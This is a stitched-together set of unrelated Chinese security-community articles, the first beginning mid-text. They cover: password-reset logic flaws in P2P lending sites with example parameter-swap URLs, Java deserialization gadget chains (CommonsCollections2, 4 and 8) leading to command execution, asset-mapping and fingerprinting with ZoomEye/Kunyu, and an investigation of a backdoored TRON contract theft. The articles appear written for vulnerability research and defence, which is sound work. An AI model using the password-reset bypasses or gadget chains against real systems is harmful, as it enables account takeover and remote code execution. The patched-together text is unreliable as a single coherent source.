这是由于设计缺陷产生重置密码漏洞的情况，也是由于重置密码链接中的验证码参数设计过于简单，可以被爆破，从而可以重置密码。
当然邮箱验证码有时也会出现验证URL包含在cookie中，可以被攻击者截获。
秒改类型
偷梁换柱一
这种设计一般是在找回密码的时候，会给指定邮箱发送一个用于校验的url链接，链接中一般肯定会存在2个比较重要的参数，一个是用户名（或者uid、qq邮箱之类的能代表用户身份的参数），另一个就是一个加密的字符串（通过服务器端的某种算法生成的用来验证用户身份的参数）。然后用户在重置密码的时候，点击邮箱中的重置密码链接，就可以重置帐号密码了。
这种情况一般是由于重置密码链接中的表示用户名的参数和用于校验的加密字符串参数没有进行一一对应，导致可以被黑客偷梁换柱，从而重置密码。
也就是说，那个验证身份的加密字符串是万能的。
比如生成的重置密码url为：http://www.xx.com/xxoo.php?username=wooyun1&code=asdfghjkl然后由于这里的参数code在服务器端验证的时候，只要其自身的算法满足服务器端的验证就直接通过了，不会去验证这个code是不是和wooyun1账户对应的。
从而，黑客可以直接利用url：http://www.xx.com/xxoo.php?username=wooyun2&code=asdfghjkl重置帐号wooyun2的密码。
偷梁换柱二
同样是偷梁换柱，这种一般是在最后一步设置新密码的时候，程序员往往会疏忽验证用户身份，从而被偷梁换柱，重置密码。这种一般是由于前面2步骤中已经验证了身份，然后3步骤重置密码的时候没有对用户身份进行持续性的验证导致的。
程序员的小失误
有的时候虽然加密字符串的算法很复杂，但是在重置密码的过程中，要是程序员自己不小心将其泄漏了，那也可以被重置密码。这种属于程序员自己没有将开发调试时候的一些数据在正式上线前去掉导致的。
加密算法过于简单
有的时候利用邮箱的url重置密码，虽然不存在以上几种情况，但是由于加密算法过于简单而被破解，导致密码重置。这种一般都是一些简单的加密算法，将一些关键参数比如用户名、邮箱、手机号、验证字符、时间戳等，进行一定的规则的组合然后进行md5、base64加密。
绕过某步骤
重置密码一般需要四个步骤：
1.输入账户名；
2.验证身份；
3.重置密码；
4.完成。
有时候当你进行了第一步之后，直接去修改URL或者前端代码去进行3步骤从而也能成功的绕过了2的验证去重置密码。这种一般是由于没有对关键的身份验证的参数进行追踪导致的。
代收用户验证码
有时候修改密码的时候会给邮箱或者手机发送一个新密码，那么抓包将手机号或者邮箱改成我们自己的会怎么样呢？这种一般是由于没有验证手机号或者邮箱的对应身份导致的。
需要与人交互
CSRF
有的时候CSRF利用好的话，也可以重置用户甚至是管理员的密码。这种一般是由于登录帐号后重置密码或者绑定邮箱、手机号的时候没有token也没有验证refer导致的。
XSS
有时候XSS漏洞也可以重置密码，当然这种也是因为本身重置密码这里就有其他的设计缺陷。这种一般是用XSS劫持了账户后，由于某些奇怪的设计造成的。
小编说：P2P金融厂商可以对照着这个来对自身做一个大检查，重置密码从来都不是一件小事情，作为跟资金相关的金融平台，密码不仅是对用户的一层安全保障，也是自家资金安全的门锁之一。
**0x02 安全从未停止**
安全对于P2P行业来说究竟有多重要呢？
根据经济之声的《天下财经》报道，今年7月份P2P网贷的整体成交量达到825亿元，环比上升超过25%，同时，参与P2P网贷的投资人和借款人分别达到了179万和44万人，同样大幅攀升。
拿什么去保障这些巨大的成交量以及庞大的用户群体的利益呢？截至2014年底，已有近165家P2P平台由于黑客攻击造成系统瘫痪、数据被恶意篡改、资金被洗劫一空等。每天都有平台在因为黑客攻击而面临倒闭。
虽然P2P金融行业面对的网络安全挑战在一点点变得严峻，但是似乎安全还没有被这个行业彻底地重视起来，从乌云平台收集到的漏洞我们可以看到，厂商对于一些漏洞不够重视。
WooYun-2015-115425 p2p金融安全之安心贷重要功能设计缺陷(影响全站用户)
2015年5月31日，乌云平台公开安心贷重要功能设计缺陷漏洞，该漏洞可以通过修改请求包中有关手机号码的参数，是自己的手机接收到任意用户重置密码所需的验证码，达到重置用户密码目的。该漏洞可以影响全站用户，但被厂商选择忽略。
WooYun-2015-118355 p2p金融安全之808信贷新版更严重漏洞二(某业务可Getshell漫游内网附送SQL注入&心脏滴血)
2015年6月5日乌云平台爆出8080信贷新版某业务出现一大波高危漏洞，包括getshell漫游内网、SQL注入、心脏滴血等，白帽子曾多次以用户的身份跟客服联系，提醒问题所在，但客服却不理不睬。漏洞提交到乌云平台后，漏洞也被忽略处理了。
这样的案例并不是个别的，P2P的迅速兴起使得行业并没有在安全上投入太多资源和经历，薄弱之处自然不少。
安全也许只是P2P借贷平台发展的一部分，但却是最重要的一部分，也许你现在不重视的问题，会成为危及资金、危及客户群体，最后导致灭亡的那个致命因素。
阅尽无数漏洞，不如真真正正地意识到安全的重要性，用最谨慎最认真的态度对待一切有可能出现的安全挑战才是P2P网贷平台不断发展壮大的关键。
安全不会就此停歇，它，从未停止。
**0x03 贡献者**
撰写第一期乌云爆告的到了很多小伙伴的帮助，感谢这些小伙伴对本次爆告的关注和为撰写做出的贡献。
netwind | 乌云白帽子（漏洞案例作者）
---|---
Martes | 乌云白帽子（漏洞案例作者）
糖剩七颗 | 乌云白帽子（漏洞案例作者）
忽然之间 | 乌云白帽子（漏洞案例作者）
BMa | 乌云白帽子（漏洞案例作者）
恋锋 | 乌云白帽子（漏洞案例作者）
北京方便面 | 乌云白帽子（漏洞案例作者）
px1624 | 乌云白帽子（漏洞案例作者&福利Tips作者）
杀器王子 | 乌云白帽子（漏洞案例作者）
her0ma | 乌云白帽子（漏洞案例作者）
管管侠 | 乌云白帽子（漏洞案例作者）
从容 | 乌云白帽子
子非海绵宝宝 | 乌云白帽子
疯狗 | 乌云白帽子
wudi | 乌云白帽子
皂皂 | 乌云爆告设计者 | 社区文章 |
# Java反序列化利用链分析之CommonsCollections2,4,8
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
前面几篇文章，分析了CommonsCollections:3.2.1版本以下存在的反序列化链。今天将继续分析CommonsCollections:4.0版本，主要讲述CommonsCollections2，4，8的利用链构造。
## 0x01 前景回顾
commons-collections:4.0版本其实并没有像3.2.2版本的修复方式一样做拉黑处理，所以在3.2.1及以下的利用链改改还是可以用的。
例如CommonsCollections5
final Map<String, String> innerMap = new HashMap();
final Map lazyMap = LazyMap.lazyMap(innerMap, transformerChain);
将innerMap改成键值对的申明方式即可，但是大家是不是还记得，除了用LazyMap的方式，CommonsCollections3曾提到过使用`TrAXFilter`类初始化的方式来载入任意的class
bytes数组。
这里commons-collections:4.0版本下的利用链，用的都是TemplatesImpl作为最终的命令执行的代码调用，由于前面分析过这个利用方式，后文不再复述。
## 0x02 利用链分析
### 1\. CommonsCollections2,4
CommonsCollections2,4都用到了一个新的类`PriorityQueue`的`Comparator`来触发`transform`函数，两者的区别在于中间的桥接用的不同的Transformer对象。先来看一下`PriorityQueue.readObject`
框框里的主要工作为反序列化恢复该对象的数据，我们重点关注`heapify()`
继续跟进`siftDown`
当我们在实例化对象时提供了`comparator`，将会来到我们最终触发compare的位置，看一下`siftDownUsingComparator`
这里调用了我们传入的comparator，并调用其compare，利用链中使用了`TransformingComparator`,来看一下它的compare函数
调用了当前的transformer的transform函数，看到这里，其实已经很熟了，前面分析的很多利用链都跟transform有关，并且4.0版本并没有拉黑相关的transformer。所以接下来，我们就可以用前面的一些思路了。
1.CommonsCollections2
CommonsCollections2利用了InvokerTransformer类的任意类函数调用的transform，传入构造好的templates
gadget并调用 `TemplatesImpl.newTransformer`
2.CommonsCollections4
CommonsCollections4后续用的方法同CommonsCollections3一样，用`InstantiateTransformer`来触发`TrAXFilter`的初始化，最终也将调用`TemplatesImpl.newTransformer`
整理一下利用链
CommonsCollection2:
PriorityQueue.readObject
-> PriorityQueue.heapify()
-> PriorityQueue.siftDown()
-> PriorityQueue.siftDownUsingComparator()
-> TransformingComparator.compare()
-> InvokerTransformer.transform()
-> TemplatesImpl.newTransformer()
... templates Gadgets ...
-> Runtime.getRuntime().exec()
CommonsCollection4:
PriorityQueue.readObject
-> PriorityQueue.heapify()
-> PriorityQueue.siftDown()
-> PriorityQueue.siftDownUsingComparator()
-> TransformingComparator.compare()
-> ChainedTransformer.transform()
-> InstantiateTransformer.transform()
-> TemplatesImpl.newTransformer()
... templates Gadgets ...
-> Runtime.getRuntime().exec()
### 2.CommonsCollections8
CommonsCollections8是今年 **[navalorenzo](https://github.com/navalorenzo)**
推送到ysoserial上的，8与2，4的区别在于使用了新的readObject触发点`TreeBag`
来看一下`TreeBag.readObject`
这里的两个关键点`TreeBag`的父类的`doReadObject`函数和`TreeMap`.
看一下`doReadObject`
这里对传入的TreeMap调用了`put`函数
继续跟进`compare`函数
这里又回到了熟悉的`comparator.compare`函数，其中`comparator`就是我们构造的`TransformingComparator`
后续跟CommonsCollections2相同，就不复述了。
整理一下利用链
TreeBag.readObject()
-> AbstractMapBag.doReadObject()
-> TreeMap.put()
-> TransformingComparator.compare()
-> InvokerTransformer.transform()
-> TemplatesImpl.newTransformer()
... templates Gadgets ...
-> Runtime.getRuntime().exec()
### 3\. commons-collections:4.1及以上的改变
前面提到的CommonsCollections2,4,8，都是在commons-collections:4.0版本下才可以使用的。这里我们来看看为什么在4.1及以上版本无法利用！
前面我们用到了InvokerTransformer和InstantiateTransformer作为中转，很真实，4.1版本这两个类都没有实现Serializable接口，导致我们在序列化时就无法利用这两个类。emmmmm，直接干掉了上面的2，4，8。
这个改变意味着我们需要从其他可操作危险方法的对象了。
## 0x03 总结
分析完ysoserial里的commons-collections系列的payloads，我们可以简单总结一下Java的反序列化挖掘思路（不涉及技术点，个人的一些想法，如果有错误的地方，希望师傅们指正）。
### 1\. 最终的利用效果
在利用链构造中，我们肯定希望最终可以达到任意命令执行或者是任意代码执行的效果，这样会使得反序列化漏洞的威力最大化。所以我们很开心能看到InvokerTransformer的transform函数，他利用反射机制来调用任意的代码，也意味着我们能控制任意类的调用执行。但是在实际的挖掘中，除了对反射机制的挖掘和defineClass类型的挖掘，我们也应该注意到其他可能会存在的危险利用，如任意文件写入，任意文件删除等等。
### 2\. 利用链总体的一个挖掘思路
我们在分析完所有的CommonsCollections的payloads很容易发现的一点是很多payloads“杂交”组合了多个可利用的节点。那么我们在实际的挖掘中，我们需要首先能获知哪些库文件里有哪些可利用的节点，然后根据一定的规则来进行一个链条的连接。
那么来看一下，可利用的节点是什么？
1.实现了`Serializable`接口，枚举出所有可以被序列化的类。
2.该类的类属性做了函数调用或函数的返回值，如`TreeMap.map.put()`和`ConstantTransformer.transform`直接返回`iConstant`类属性。如果不存在上述的情况，我们可以忽略。
3.实现了`readObject`函数，这种情况可作为起始点，也可以作为桥接点，需要具体判断其代码的实现。
4.实现了`invoke`函数，这种情况可作为桥接点，利用了代理机制。
5.从`readObject`函数和`invoke`函数，衍生出来的类属性函数调用，这边可能会引向其他的类函数，如`TreeBag.readObject`的实现，将引向下一步的父类函数`doReadObject`函数。这里就需要做一个人工或者是静态的代码分析。
接下来，关于可利用节点的串联，其实主要依赖于第5点的挖掘，我们需要根据经验或者是静态的代码分析来做。
根据上面的一个分析，其实我们可以做到一个自动化的利用链发掘，[https://github.com/JackOfMostTrades/gadgetinspector这个工具就是一个很好的实现，后续将对其进行一个分析。](https://github.com/JackOfMostTrades/gadgetinspector%E8%BF%99%E4%B8%AA%E5%B7%A5%E5%85%B7%E5%B0%B1%E6%98%AF%E4%B8%80%E4%B8%AA%E5%BE%88%E5%A5%BD%E7%9A%84%E5%AE%9E%E7%8E%B0%EF%BC%8C%E5%90%8E%E7%BB%AD%E5%B0%86%E5%AF%B9%E5%85%B6%E8%BF%9B%E8%A1%8C%E4%B8%80%E4%B8%AA%E5%88%86%E6%9E%90%E3%80%82)
从commons-collections的防护来看，我们越来越无法在单个库里面实现一个可利用的利用链，这也意味着我们需要对不同的项目做针对性的分析，所以gadetinspector这个工具的重要性就不言而喻了。下一步将重点分析一下该工具的实现。 | 社区文章 |
作者：风起
## 空间测绘技术思想
**网络空间测绘是2016年出现的一个概念，主要指用一些技术方法，来探测全球互联网空间上的节点分布情况和网络关系索引，构建全球互联网图谱的一种方法。【百度百科】**
测绘实际上是一个地理信息相关的专业学科，针对海里的、陆地的、天上的地理信息进行盘点。同样应用于网络空间
，发现未知、脆弱的资产也是如此，更像是一张网络空间地图，用来全面描述和展示网络空间资产、网络空间各要素及要素之间关系，以及网络空间和现实空间的映射关系。
**应用场景：**
* 企业内遗忘的，孤立的资产进行识别并加入安全管理。
* 企业外部暴露资产进行快速排查，统计。
* 红蓝对抗相关需求使用，对捕获IP进行批量检查。
* 批量收集脆弱资产(0day/1day) 影响内的设备、终端。
* 新型网络犯罪涉案站点信息进行快速收集，合并，进行更高效的研判、分析。
* 对互联网上受相关漏洞影响的脆弱资产，进行统计、复现。
**3W问题（“What？Where？Who？”）是网络空间测绘要解决的基本问题。** 从字面意思来看也就是 **是什么，在那里，谁的？**
而应用于红队，目前各级护网对于资产归属的划分其实比较严格，例如资产属于总集团还是二级单位或者子公司，是否与集团内网互通？都是需要思考以及确认的点。那么我们首先从who去思考再从what谁和where在哪里去收集，资产的所属单位以及相关的网络信息，例如使用的框架、部署的业务系统、服务、开放的端口、使用的开发语言、域名等等。
当然，无论是红队攻防还是线索追溯亦或者是安全运营，首先确定的都应该是目标的归属问题，如果不是相关目标或者自己的资产时，那么后续的工作开展都是没有意义的，所以在进行空间测绘的使用时首先需要做的就是确定目标的归属问题，继而考虑资产所处的位置以及什么的问题。
在了解了3W的问题后，我们继续引出网络空间测绘的三大概念： **行为测绘、动态测绘、交叉测绘** 。
## 行为测绘
**不同的群体，可能表现出基本的独有的特征，当我们能掌握到这个特征，那么我们就能尽可能识别出这个群体里的所有个体，而这些所谓的行为特征在网络空间测绘里表现出的是这个设备各个端口协议里的banner特征。**
目前在网络空间测绘里常用的通用组件指纹识别形成的指纹库就是利用了通用组件通用的默认配置特征这个“行为”来进行识别的，很显然这个充分利用了人类“懒惰“的这个性格引起的通用默认配置的”行为“进行测绘的，但是也就忽视那些进行自定义的配置的目标，而这些目标是本文要阐述的主要对象。
在这些自定义过程中不同的群体又可能表现出不一样的独有特征，我们利用这些行为特征进行网络空间测绘，这就是所谓的“ **行为测绘**
”了。通过实践经验“行为测绘”在威胁情报领域、国家基础设施测绘、APT/botnet/黑产等组织测绘上有巨大应用空间及震撼的效果。【SuperHei语录】
**P.S.或许他更喜欢叫黑格尔一点23333**
这里我们也可以把行为理解为特征，而如何提取这些特征，进行更加精准的匹配无疑也成为了最重要的环节之一。
在针对某一目标的关联中，如果目标站点使用了HTTPS协议，那么我们就可以通过提取证书 **Serial Number、Subject**
等字段值进行关联资产，值得注意的是在SSL证书信息中，往往有着一些惊喜，例如可以查找CDN后的真实IP，或者在拿到了某个IP后证明其归属，识别其DNS服务器、相关域名等等。
**举个场景案例，例如我们在挖掘SRC找到了一个边缘资产并且仅有一个IP，这时如何证明其资产的归属，就不妨可以在证书信息中找找看，往往Subject字段中就有域名的相关线索。**
或像常见的SSL证书匹配方式将证书序列号进行HEX编码，通过搜索引擎的相关语法( **cert/ssl** )进行匹配的方式均可以。
而这里的行为，更多时候体现在banner信息，例如前端代码，服务连接交互信息、SSL证书信息等等。
这里以Log4j2 RCE影响的 _Apache_ _CAS_ 主机举例。
通过比对不同 _Apache_ CAS站点，寻找共同的特征，提取'' 这段代码。
发现共匹配到了16155条结果，除去CAS关键词的特征，通过尝试攻击Log4j2也可以进行验证，但是仅通过一段代码，仍然可能存在误报的概率，于是我们继续寻找共同特征，也就是框架的特征。
在上面提取的代码段的基础上继续提取特征，做且运算逻辑，最终构造的Apache CAS指纹为：
'<body id="cas">'+'<section class="row">' +'<meta charset="UTF-8"/>'
也就是说其前端代码中应符合同时存在上述三段代码才能进行匹配，发现这次共匹配到了6248条，数量的减少，随着我们指纹关联的条件增多，精准度也会提高，使我们得到的结果更加趋近于真实。关于指纹概念会在下面进行详细的讲解，利用截取代码段或者其注释的方式，在关联目标使用的相同框架的站点时有着很好的效果。
除了一些基本特征，我们还可以通过一些 **“有趣”** 的指纹来进行检索
如上图，相信大家懂得都懂，在我们查找CDN后的真实IP时，可以通过nmap扫描目标的ssh-hostkey并提取进行匹配，因为无论套多少层CDN，他连接ssh时的ssh-hostkey都不会改变，所以我们可以通过这个指纹检索就有可能找到其真实的IP地址，当然这样的思路仅做抛砖引玉。
网站上的favicon图标也可以作为目标组织的行为之一，在HW或者关联菠菜站点时往往有着意想不到的效果，但是需要注意的是，针对利用favicon计算hash关联团伙的方式，可能存在着一定的不准确性，如果说证书、前端提取代码这些方式可以让我们很准确的定位到目标，那么在全网中有人拿别人的favicon图标作为自己网站的图标，公网扫描时就有可能出现误报，扫出的ico图标hash是相同的。不过，无聊用别人图标的总归是少数，也并不常见，仅仅是有这种可能罢了，所以大家需要注意，追溯线索有时并没有定式，并不是通过什么方法就一定准确无误，依旧是需要证实举证的。
## 动态测绘
**对于动态测绘的概念，简单理解就是数据订阅**
，这里可以通过指纹语句订阅或者IP订阅，周期性对某个资产面进行扫描，从而使我们能够动态掌握周期内新增资产的情况，而动态测绘往往应用于企业安全管理或者反诈工作中。在企业安全中，通过动态测绘发现新上线的业务系统，并及时加入安全管理中。因为对于一些较为成熟的业务系统来讲，不会频繁对站点对外服务进行更改，一般只会修改发布内容等，所以当其站点上线新的服务时都是值得注意的。
往往攻防双方对弈比拼的就是信息收集，谁收集的资产面多就有着决定性的作用，一些 **孤立、边缘化**
的资产企业上线后没有及时加入安全防护而被攻击者发现，就面临着沦陷的可能，同样红队在攻击时，在技术水平相差不大的时候，往往收集的资产就是决定是否攻破目标的关键。
应用于反诈工作中，可以通过动态测绘持续对目标团伙的相关资产进行关注，做线索。往往面对使用相同框架，仅改变网站内容进行快速转移服务器的目标可以进行紧紧追踪。通过动态测绘观测到的每日新增资产，进行判断该团伙下一步准备实施犯罪的主要站点及其意图。
值得一提的是，ZoomEye上线了一个很具有意义的功能，就是在公网测绘中，支持了数据更新功能，使我们可以随时更新需要扫描的目标。需要注意所有空间测绘平台本质都是通过探测节点全天候对全网资产进行扫描行为，而扫描是有一定的时间周期，数据更新功能则不需要像以往被动等待探测节点扫描到我们的目标。
当扫描结束后，会发送一封邮件到我们的邮箱，并且更新的数据在kunyu中可以快速同步。
## 交叉测绘
那就是 **IPv4 与 IPv6的 “交叉”**
。随着国家对IPv6的改造规定必然加快IPv6的普及，就当前局势，IPV6在逐渐普及，但是之所以在交叉测绘这里提及IPV6，就是因为，与我们密切相关的安全层面，往往出现在IPV4及IPV6的
**配置错误**
上，例如企业在部署安全措施时，对其IPV4打满了防护，但是IPV6却是白板，那么这时如果攻击者通过IPV6进行攻击，那么无疑是一马平川的，这也是很多企业在进行安全管理中没有想到的问题。往往就会导致出现大问题，所以站在攻击者的角度来看待，我认为不妨可以交叉看待问题。域名与IPV4、IPV4及IPV6的、暗网与IPv4。。。。无论是溯源还是攻击本着交叉思想看待数据，挖掘隐蔽线索都是十分重要的。
而这些结果我们发现其具有共同特征为，Nginx服务器、均为302跳转，时间相近，均为HTTPS协议等，这也是其目标团伙在此所表现的特征，也能间接印证我们关联的资产没错。准与不准的问题，往往就是体现于此，就好比如果两张照片里的人没有丝毫相像，不具有相同点，那么大概率他们是没有关系的。
## 网络测绘指纹的概念
在网络测绘中，指纹的概念是比较有趣的，与传统刑事侦查技术其广义思想是重叠的，例如我们做人物画像，针对某个人的外貌体态进行描述，例如我们已知目标是大眼睛、高鼻梁、身材消瘦、身高180cm.....这些是目标的外在特征，但是针对这样的特征是具有一定的模糊性的，因为站在整个世界的角度来看，同样符合这些特征的人依旧比比皆是，但是这些依旧是我们侦察目标的特点，所以继而我们要引入一些更加
**"精准"** 、 **“特异”** 、 **"不可更改"** 的特征，可以直接决定性的指向某个人或团伙的资产范围。那么什么是可以决定性指向的特征呢？
**身份证、银行卡、手机号、DNA信息、瞳孔识别** 等等，既要精准的区分目标资产又要具有特异性，不可以被轻易修改的特点。
* 认知
* 特征
* 指纹
对于指纹概念，提出了以上三点，首先应该从认知出发，这里所说的认知也就是研判人员在分析时认为哪些特征是有用的，不同的人看待问题的方式、角度均是不同的，所以从认知出发看待事件本质，找出其符合我们所理解的
**"精准"** 、 **“特异”** 、 **"不可更改"**
要素，进行组合，从而构建指纹。当然这里的特征通常并不会只有一个，哪怕是传统刑侦，面对目标手指纹也需要多个指纹进行比对，同样放在网络资产测绘中，我们需要尽可能多的去找某个组织所具有的共同特征进行组合，只符合单个特征并不足以说明问题，往往针对我们之前收集的情报符合多个特征，那么就具有可疑性了。
往往在溯源的过程中，情报并不是使用什么产品或者技术能够直接获得的，而是通过多个维度获得的线索相互印证、推导而来的，所以在整个溯源体系中，我认为研判人员对于技术的认知是至关重要的。这也是我开头讲到的从认知出发，寻找目标特征，构建指纹从而高效研判这样的一个过程。
举例在exploit-db找到了一个Telnet未授权RCE的POC。
根据箭头所指，提取了一处特征，指纹特征为：goke
login:，进行匹配可以看到结果为423条，通过protocol和Service，Port这些字段所表现出来的特征都极为相似，准与不准往往体现于此。
继续增加一个条件，要求目标端口为23，发现匹配出的条数为422条，发现条数减少了，说明在刚才第一次匹配中，有一些结果的端口并不是23端口，应该是被认为修改过的。这也说明随着条件的增加匹配的精准度也是随之提高，根据研判人员对于指纹概念的认知不同，构建指纹指向目标的精准度和关联程度都不尽相同。
当然，在能够关联匹配到目标的指纹以外，我们还可以增加其他的符合我们要求的条件，例如我们可以限制输出结果扫描到的时间、地域国家、城市等等。
**指纹是建立在研判人员对于规则概念的理解之上的！**
**Kunyu Donwload:** [Kunyu（坤舆）更高效的企业资产收集](https://github.com/knownsec/Kunyu/)
## 后记
**我们应赋予数据以灵魂，而不仅仅只是认识数据，能用它做什么事儿，达到什么效果，取决于解决方案的认知高低**
感谢大家的支持，现在已经2022年了，回想第一次出门闯荡的场景至今还历历在目，今年我也已经20岁了，渐渐的年纪已经不是我的优势。回想这一路走来还是挺感慨的，对于野路子出身，那时的我能够坚持下来大概就是有着一股不服输的劲头吧。虽然现在也不是什么大佬，但是每天都比昨天进步一点，每年都比去年更上一层对于我而讲算是最大的慰籍了，让我时刻明白，自己仍是在这条路上向前走着。
新的一年，希望所想之事皆能如愿，所做之事皆有所获。
**最后祝大家心想事成，美梦成真，想要交流安全技术的可以扫描以下二维码添加微信。**
## Community
## 参考链接
<https://github.com/knownsec/Kunyu>
<https://mp.weixin.qq.com/s/fQatA5iyewqRBMWtpVjsRA>
<https://mp.weixin.qq.com/s/QTyfHbcnoMYoVUXhcbCYCw> | 社区文章 |
**作者： DappReview
公众号：<https://mp.weixin.qq.com/s/9Cl6-ZmAi-U3Qi6cPVZJxQ>**
**系列阅读：<https://paper.seebug.org/917/>**
**导读：** 随着新一天的调查，更多证据被各方挖掘出来，本次事件的真相正在逐渐浮出水面，戏剧化程度堪比一场年度大戏。文末还附上了wojak的财富密码。
没有读过上一篇文章的读者 请先移步阅读本次事件第一集 [《2600万TRX被盗背后的罗生门》](https://paper.seebug.org/917/
"《2600万TRX被盗背后的罗生门》")
**_注：以下调查的信息收集全部来自于Discord频道Scam
Watch、Telegram群“TronBank抱团维权”，以及DappReview与关联人的聊天记录。_**
### wojak反悔退款
自从5月3日晚上9点wojak出现并贴出一份退款对比名单之后，再次从Discord消失，在此期间很多人开始给wojak打上Scammer（骗子）的标签，并认为“他不会退款，可能已经开上兰博基尼去度假了”，诸如此类言论不绝于耳。
**5月5日中午12点**
wojak再次现身，声称“我投入了8个小时写工具来给所有人退款，等我写完代码回来发现大家都在把我想象成是一个骗子，而没有意识到Tronbank才是放置后门坑了你们的人。你们原本会因此损失所有的投资。但在看到你们把我当成骗子而不是开发者后，我认为我没有任何理由把TRX退还给你们”
此番言论遭到众人反驳，wojak坚持认为自己所做的事情并不违法（illegal），自己也不是小偷，只是发起了一笔交易调用了智能合约，并且遵守了智能合约的规则。此后，
**wojak再也没有表示过退款的可能性** ，而是让所有人去找Tronbank进行索赔。
### 证据开始指向TSC开发者Khanh
**5月5日中午12点**
在真相依旧处于众说纷纭的迷雾之中时，telegram中某开发者（要求匿名）发现了一条关键证据，进而扭转了整个调查的方向，把更多的信息带出水面。
`TTX5N2wxLeyWBSNE6UeaBjCFZbpa2FH6jr` 该地址于4月28日部署了一个与事发TRX
Pro合约有同样后门的“测试合约”（合约地址为 `TYZ4oPdPmwZS9xTUXhnFtQkPFFTi2iAydz`），并在4月30日对后门进行了测试。
如上图所示，`TTX5N**`该地址用同样的方式发送了0.011911 TRX调用withdraw函数，触发后门，提走自己事先存入的约100 TRX。
也就是说，在被盗时间（5月3日凌晨4点）约4天之前，竟然已经有人熟知此后门以及其调用方式。当我们去反编译该测试合约并与TRX
Pro被盗合约对比时，不难发现：
反编译工具： https://www.trustlook.com/products/smartcontractguardian
这两段代码的后门部分完全一致！
而且更为神奇的是，“测试合约”的部署时间比项目方部署的正式合约 **竟然早了5小时23分钟。**
毫无疑问，TTX5N** 地址与本次后门事件必定脱不了关系。
而该地址的所有者是谁呢？
打开TSC的网站`https://tronsmartcontract.space`
点击About Us
这正是TSC的开发者Khanh所拥有的地址
至此，Discord和tg群各路开发者开始梳理Khanh地址以及Tronbank开发者地址的合约部署、调用信息，梳理出以下时间线。
### 惊人的时间线
以上为Discord频道中梳理的时间线（均为UTC时间），下面我们按照北京时间进行更细节的梳理。
**4/28/2019 4:07 PM**
TronBank开发者部署了TRX Pro的测试合约，该合约中通过反编译并没有发现后门，合约地址为：
https://tronscan.org/#/contract/TAWLPqFn33U7iaAfP6cXRdJXcBUc1ewCRJ
**4/28/2019 5:35 PM**
仅在一个半小时后，由TSC开发者Khanh所拥有的地址TTX5N**部署了上文提到的“测试合约”，该合约中存在后门代码，合约地址为：
https://tronscan.org/#/contract/TYZ4oPdPmwZS9xTUXhnFtQkPFFTi2iAydz
**4/28/2019 10:48 PM**
Tronbank开发者了部署TRX Pro的正式版合约，该合约即被盗合约，其中有后门代码，合约地址为：
https://tronscan.org/#/contract/TW9AE7u5QADp2uej9xdaNVTYtqsRuJZNxJ
**4/28/2019 11:00 PM**
在12分钟之后，TSC开发者Khanh调用TRX Pro的正式版合约，并发送0.011011来测试后门。该笔交易记录为：
https://tronscan.org/#/transaction/d6d89713ebdb98402ddfd1d454be394a5521c83b7d385ce2c394924a2b923c89
**4/30/2019 10:12 AM**
TSC开发者Khanh调用自己在4/28/2019 5:35 PM 部署的存在后门的“测试合约”，触发后门，并取走自己充进去的100
TRX，该笔交易记录为：
https://tronscan.org/#/transaction/87bf173c126c4873ad333c02d4e352bacda9bfaae4d91d0bce156eb64bd5219f
**5/3/2019 4:11 AM**
wojak 调用TRX Pro的正式版合约withdraw函数，第一笔转入了0.000123，并没有任何效果，交易记录为：
https://tronscan.org/#/transaction/aabfc7b6cedb2e8ce055c7fdc7a62df558213c63a33092293886b0e4b58277e5
**5/3/2019 4:12 AM**
1分钟后，wojak 再次调用TRX Pro的正式版合约withdraw函数，转入0.011911，成功触发后门，提走合约余额2673万TRX，交易记录为：
https://tronscan.org/#/transaction/e26666a806e24697fd049e60cf83cf412f58d85cdb0493c014cef0d29d8bdc2e
**根据以上信息，可以归纳出两个事实：**
1. Tronbank上线之前的测试版本合约，没有后门，但最终线上正式版存在后门；
2. TSC开发者Khanh在Tronbank测试版合约发布当天部署过一个有相同后门的合约，并且知道后门的调用方式，且在4月30日自己进行过测试。也就是说，该后门与TSC脱不了关系。
在与Tronbank团队的沟通中，开发者提到，他们是使用TSC进行编译的。（针对该言论的真实性，DappReview无法做出验证）
**_注：以下内容是基于现有事实依据的可能性探讨，不代表最终结论和真相，请再次传播时不要断章取义。_**
在第一篇文章[《2600万TRX被盗背后的罗生门》](https://paper.seebug.org/917/
"《2600万TRX被盗背后的罗生门》")中，我们曾提到过三种可能性，
**可能性一：** Tronbank开发者在实际部署的合约中夹杂私货放置了后门，并成功欺骗了TSC完成了另一份没有后门的代码验证。
**可能性二：** Tronbank团队和TSC团队合谋，部署了有后门的合约，同时TSC协助用另一个没有后门的合约完成验证。
**可能性三：** Tronbank团队没有在合约中放置后门，而是后门在合约部署过程中以某种方式产生。
根据以上掌握到的更新信息，第一种可能性被否决，因为整个事件中，TSC开发者是最早调用后门的人，并不存在不知情被欺骗的情况，而第三种可能性的概率极大地增加。
TSC集合了编译、部署、验证的一条龙服务，从理论上来说，如果开发者使用TSC进行编译并部署，期间确实有可能增加后门代码。
在事发当天5月3日，Discord上询问为什么TRX Pro的实际运行代码与验证代码不一致时，Khank的回应如下：
**上午7点22分回应：** 我刚起床听到消息，让我来扫描一下所有（代码）
**晚上9点18分回应：** 各位抱歉，我也不知道为什么他们通过了我的代码（验证）
而5月5日当Khank的地址部署过后门合约并且调用的证据出现后，在Discord网友的质疑下，Khanh的回应如下：
**Mr Fahrenheit：** 你怎么解释你的地址对另一个合约调用过可以触发后门的交易？
**Khanh：** 我的私钥泄露了，github的密码也泄露了
这个回应显然过于苍白，一方面人们质疑如果私钥泄露为什么官网还挂着这个地址，另一方面该地址中还有28,052 TRX （价值约4400RMB）没有被转走。
此时此刻根据已有的信息进行客观的分析，存在的可能性（注意，此处仅讨论可能性，即便该可能性极低，真相目前没有任何实锤证据）依旧有以下几种：
**可能性一：** Tronbank团队和TSC团队合谋，部署了有后门的合约，同时TSC协助用另一个没有后门的合约完成验证。
**可能性二：** Tronbank团队没有在合约中放置后门，而是后门在合约部署过程中以某种方式产生。
以上的两种可能性中，目前的证据对于而言偏向于第二种可能性，Tronbank团队目前正在多次与Khanh沟通，并将部分对话截图贴出，Tronbank团队坚持没有放置任何的后门，而是指向TSC是真正放置后门的元凶。目前虽没有决定性的证据显示后门是由Khanh放置，但是TSC和Khanh自身与后门已经脱不了干系。
**可能性三：** Khanh的github账号被盗，地址私钥泄露，幕后黑手另有其人。
关于这一点依照现有的证据，可能性较低，Khanh的回应含糊其辞，也并没有提供账户被盗的证据（比如github关联邮箱提示不安全登录、密码被修改等辅助信息）
